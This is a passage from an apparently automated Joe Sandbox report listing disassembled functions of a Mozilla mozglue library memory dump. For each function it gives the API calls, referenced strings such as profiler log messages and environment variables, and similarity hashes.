strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CED6017

Part of subcall function 6CEC4310: moz_xmalloc.MOZGLUE(00000010,?,6CEC42D2), ref: 6CEC436A
Part of subcall function 6CEC4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CEC42D2), ref: 6CEC4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CED5F47
GetCurrentProcess.KERNEL32 ref: 6CED5F53
GetCurrentThread.KERNEL32 ref: 6CED5F5C
GetCurrentProcess.KERNEL32 ref: 6CED5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CED5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CED5F27

Part of subcall function 6CEDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CEDCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CED55E1), ref: 6CED5E8C

Part of subcall function 6CEDCA10: malloc.MOZGLUE(?), ref: 6CEDCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CED55E1), ref: 6CED605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CED55E1), ref: 6CED60CC

Strings

GeckoMain, xrefs: 6CED5ECE, 6CED6015

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bcd13b7754fe2e7af80fd97980dba8b62c45d5f6b41d9e226a4f05281680685e
Instruction ID: b6fce601e223290bde58bb15839b65204ca54f468e813586458e7a2c195dc0a5
Opcode Fuzzy Hash: bcd13b7754fe2e7af80fd97980dba8b62c45d5f6b41d9e226a4f05281680685e
Instruction Fuzzy Hash: 3971C2B0A057409FD750DF28C480A6ABBF0FF59308F254D6DE48A8BB52D731E949CB92

Function 6CED9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEC31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CEC3217
Part of subcall function 6CEC31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CEC3236
Part of subcall function 6CEC31C0: FreeLibrary.KERNEL32 ref: 6CEC324B
Part of subcall function 6CEC31C0: __Init_thread_footer.LIBCMT ref: 6CEC3260
Part of subcall function 6CEC31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CEC327F
Part of subcall function 6CEC31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEC328E
Part of subcall function 6CEC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEC32AB
Part of subcall function 6CEC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CEC32D1
Part of subcall function 6CEC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CEC32E5
Part of subcall function 6CEC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CEC32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CED9675
__Init_thread_footer.LIBCMT ref: 6CED9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CED96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CED9707
__Init_thread_footer.LIBCMT ref: 6CED971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CED9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CED97B7
FreeLibrary.KERNEL32 ref: 6CED97D0
FreeLibrary.KERNEL32 ref: 6CED97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CED9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CED9670
MapViewOfFileNuma2, xrefs: 6CED97B1
ntdll.dll, xrefs: 6CED96E3
NtMapViewOfSection, xrefs: 6CED9701

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 294d45709f14297699b3de1fe2a010927cc1075231d431bfcf86ccd0677d9ced
Instruction ID: 9a0fcdf911558f2681e75f2cc56ff902ff6ff3bc1837251301e340048f4547c1
Opcode Fuzzy Hash: 294d45709f14297699b3de1fe2a010927cc1075231d431bfcf86ccd0677d9ced
Instruction Fuzzy Hash: 65610471E10301AFDF40EF64DD94B9A7BB0EB5A31CF21C528E91983782DB34A845CB91

Function 6CF26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CF4F618), ref: 6CF26694
GetThreadId.KERNEL32(?), ref: 6CF266B1
GetCurrentThreadId.KERNEL32 ref: 6CF266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CF266E1
EnterCriticalSection.KERNEL32(6CF4F618), ref: 6CF26734
GetCurrentProcess.KERNEL32 ref: 6CF2673A
LeaveCriticalSection.KERNEL32(6CF4F618), ref: 6CF2676C
GetCurrentThread.KERNEL32 ref: 6CF267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CF26868
RtlCaptureContext.NTDLL ref: 6CF2687F

Strings

WalkStack64, xrefs: 6CF26890

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b9074a0d7319b6b3831d87eee943a871cf028db73b7dcba33fbfab2d7d521a29
Instruction ID: 3395c6d1f8a40355bcec70d4cd6564354f309ff3797b8548a9b9c838dff5cd06
Opcode Fuzzy Hash: b9074a0d7319b6b3831d87eee943a871cf028db73b7dcba33fbfab2d7d521a29
Instruction Fuzzy Hash: 2E519B71A09301AFD751DF64C844B9ABBF4FF99718F00892DF59887642D778E9088B92

Function 6CF0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0DE73
GetCurrentThreadId.KERNEL32 ref: 6CF0DF7D
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0DF8A
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0DFC9
GetCurrentThreadId.KERNEL32 ref: 6CF0DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CED4A68), ref: 6CF0DE7B

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CED4A68), ref: 6CF0DEB8
free.MOZGLUE(00000000,?,6CED4A68), ref: 6CF0DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CF0DF38

Strings

<none>, xrefs: 6CF0DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6CF0DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CF0E00E

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 42ce6acc7da95fa074abcb2d5ad12dd8987f4dee4a835aeccbcd2b88d26172c8
Instruction ID: 5f17cf42471c57fa827dd692c43c29bed30491d11b10b05aa13d20c0c83b5f9c
Opcode Fuzzy Hash: 42ce6acc7da95fa074abcb2d5ad12dd8987f4dee4a835aeccbcd2b88d26172c8
Instruction Fuzzy Hash: 4C414335F116008BDB50AF64C818BAE7B76EB9271DF10C019E90987B03DF319809DBE2

Function 6CF1D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CF1D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF1D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF1D52A
GetCurrentThreadId.KERNEL32 ref: 6CF1D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF1D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF1D55F
free.MOZGLUE(00000000), ref: 6CF1D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CF1D5D3
GetCurrentThreadId.KERNEL32 ref: 6CF1D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF1D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF1D652
GetCurrentThreadId.KERNEL32 ref: 6CF1D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CF1D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CF1D6A2

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: b271a0346f7e6529009a037538d762e5a76fa334fc3a48adabf7e222c742a74d
Instruction ID: a4cfb49fe4da2f3969ff7490d7c1584422c8e895c8978ea3f236f3187766ae80
Opcode Fuzzy Hash: b271a0346f7e6529009a037538d762e5a76fa334fc3a48adabf7e222c742a74d
Instruction Fuzzy Hash: B9518F71A14B05DFC744DF35C484A9ABBF4FF89318F108A2DE95A87B12EB70A845CB91

Function 6CEE5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CEE56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CEE56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CEE56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CEE5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CEE57BC
GetTickCount64.KERNEL32 ref: 6CEE58CB
EnterCriticalSection.KERNEL32(6CF4F688), ref: 6CEE58F3
__aulldiv.LIBCMT ref: 6CEE5945
LeaveCriticalSection.KERNEL32(6CF4F688), ref: 6CEE59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CF4F638,?,?,?,?), ref: 6CEE59E9

Strings

MOZ_APP_RESTART, xrefs: 6CEE56CC

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 108854f73bf2238b2533fe04bad2bd308f1dda7c2267eb01b6150f608b8d3594
Instruction ID: 8e47beb72306bd9d7f372282717167b511c9d296cafab19c2c1b84bc920098b4
Opcode Fuzzy Hash: 108854f73bf2238b2533fe04bad2bd308f1dda7c2267eb01b6150f608b8d3594
Instruction Fuzzy Hash: 83C1AE31A193409FD745DF28C44066AFBF1BFDA358F159A1DE8C897721D731A885CB82

Function 6CF0EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CED4A68), ref: 6CF0945E
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CF09470
Part of subcall function 6CF09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CF09482
Part of subcall function 6CF09420: __Init_thread_footer.LIBCMT ref: 6CF0949F

GetCurrentThreadId.KERNEL32 ref: 6CF0EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CF0EC8C

Part of subcall function 6CF094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CF094EE
Part of subcall function 6CF094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CF09508

GetCurrentThreadId.KERNEL32 ref: 6CF0ECA1
AcquireSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CF0ECC5
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CF0ED19
CloseHandle.KERNEL32(?), ref: 6CF0ED28
free.MOZGLUE(00000000), ref: 6CF0ED2F
ReleaseSRWLockExclusive.KERNEL32(6CF4F4B8), ref: 6CF0ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CF0EC94

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9b5d59f9deade03072be558456997519572c2d9ea3200a25bba405c2f619d655
Instruction ID: f7785693f14ffa10754c33a64c49f61cd6ea377a4bf9f696640465fed84cc0b7
Opcode Fuzzy Hash: 9b5d59f9deade03072be558456997519572c2d9ea3200a25bba405c2f619d655
Instruction Fuzzy Hash: 87210275B00508ABDF40AF64D818BAA7B39EB9676CF10C210FC1897753EB729805CBA1

Function 6CF08ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CECEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CECEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CF0B392,?,?,00000001), ref: 6CF091F4

Part of subcall function 6CEFCBE8: GetCurrentProcess.KERNEL32(?,6CEC31A7), ref: 6CEFCBF1
Part of subcall function 6CEFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CEC31A7), ref: 6CEFCBFA

Strings

marker-chart, xrefs: 6CF0905E
data, xrefs: 6CF090E8
stack-chart, xrefs: 6CF090B2
timeline-fileio, xrefs: 6CF090A4
timeline-memory, xrefs: 6CF09088
name, xrefs: 6CF08F16
timeline-overview, xrefs: 6CF0907A
timeline-ipc, xrefs: 6CF09096
marker-table, xrefs: 6CF0906C

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: dd9102b5f383089dc9f04e1dd911c17a6aec6b08d74626bd1be6bbd931141af9
Instruction ID: 7916fbd62f2d426e1854c4a7fa47a6342bce9dbf0a3bd1f679807f695ed873e4
Opcode Fuzzy Hash: dd9102b5f383089dc9f04e1dd911c17a6aec6b08d74626bd1be6bbd931141af9
Instruction Fuzzy Hash: B5B1D5B1B112099BDB04CF94C4627EEBBB6AF84718F20402DD515ABF81EB71AA45CBD1

Function 6CEEC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CEEC5A3
WideCharToMultiByte.KERNEL32 ref: 6CEEC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CEEC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CEECA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CEECA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CEECAA5

Strings

(null), xrefs: 6CEEC596
0, xrefs: 6CEED30A

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 3d3e7c227bdea95d4804d88ce29fc4278f1a79ceed1fb73f4be3a27af3a94208
Instruction ID: 316e3fd75fd58e72bf44e6a21958c0e503c7480068d76ffe5214938705ea372d
Opcode Fuzzy Hash: 3d3e7c227bdea95d4804d88ce29fc4278f1a79ceed1fb73f4be3a27af3a94208
Instruction Fuzzy Hash: 26A18A316083429FDB00EF28C55475ABFF1AF8E788F24892DE99997742D735E805CB82

Function 6CEC3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEC3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEC34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEC34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CEC350E
__Init_thread_footer.LIBCMT ref: 6CEC3522
__aulldiv.LIBCMT ref: 6CEC3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEC357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEC3592

Part of subcall function 6CEFAB89: EnterCriticalSection.KERNEL32(6CF4E370,?,?,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284), ref: 6CEFAB94
Part of subcall function 6CEFAB89: LeaveCriticalSection.KERNEL32(6CF4E370,?,6CEC34DE,6CF4F6CC,?,?,?,?,?,?,?,6CEC3284,?,?,6CEE56F6), ref: 6CEFABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CEC3508
kernel32.dll, xrefs: 6CEC34EA

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 28888c6fc75c5b4c4ff01bc39465b05c1719962bc6e2d7472e3ecf143376b1ac
Instruction ID: 279735a74cebc862470fccedb6eac4cd9d938d5bdd2550a2073f2c8f51e3a48f
Opcode Fuzzy Hash: 28888c6fc75c5b4c4ff01bc39465b05c1719962bc6e2d7472e3ecf143376b1ac
Instruction Fuzzy Hash: DC31D071F102459BDF80EFB9C948FEE77B5FB56308F208419E919A3752DA709901CB61

Function 6CEC4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CF04843,?), ref: 6CEC45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CF04843,?), ref: 6CEC468A
free.MOZGLUE(?,?,?,?,?,?,6CF04843,?), ref: 6CEC46C9
free.MOZGLUE(?), ref: 6CEC46EF
free.MOZGLUE(?), ref: 6CEC4712
free.MOZGLUE(?), ref: 6CEC4735
free.MOZGLUE(?), ref: 6CEC4758
free.MOZGLUE(?), ref: 6CEC477B
free.MOZGLUE(?), ref: 6CEC479E

Memory Dump Source

Source File: 00000004.00000002.1557703135.000000006CEC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000004.00000002.1557668039.000000006CEC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557790885.000000006CF3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557864784.000000006CF4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1557894251.000000006CF52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cec0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 030b2dce8593cca5b73c7b89e41095bb6603458c3e08bfde41bbb84b485e4334
Instruction ID: 5045ec8a95c705bdbda80bd275d43541383a4cc5384b35d1214e83fcb53ee9d9
Opcode Fuzzy Hash: 030b2dce8593cca5b73c7b89e41095bb6603458c3e08bfde41bbb84b485e4334
Instruction Fuzzy Hash: 18B1D672B002518FDB14DE2CDAD477D76B1AF46328F28466EE826DBBD6D73498408B43

Function 6CF2AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CF2AC52
CreateFileMappingW.KERNEL32 ref: 6CF2AC7D
GetSystemInfo.KERNEL32 ref: 6CF2AC98
MapViewOfFile.KERNEL32 ref: 6CF2ACB0
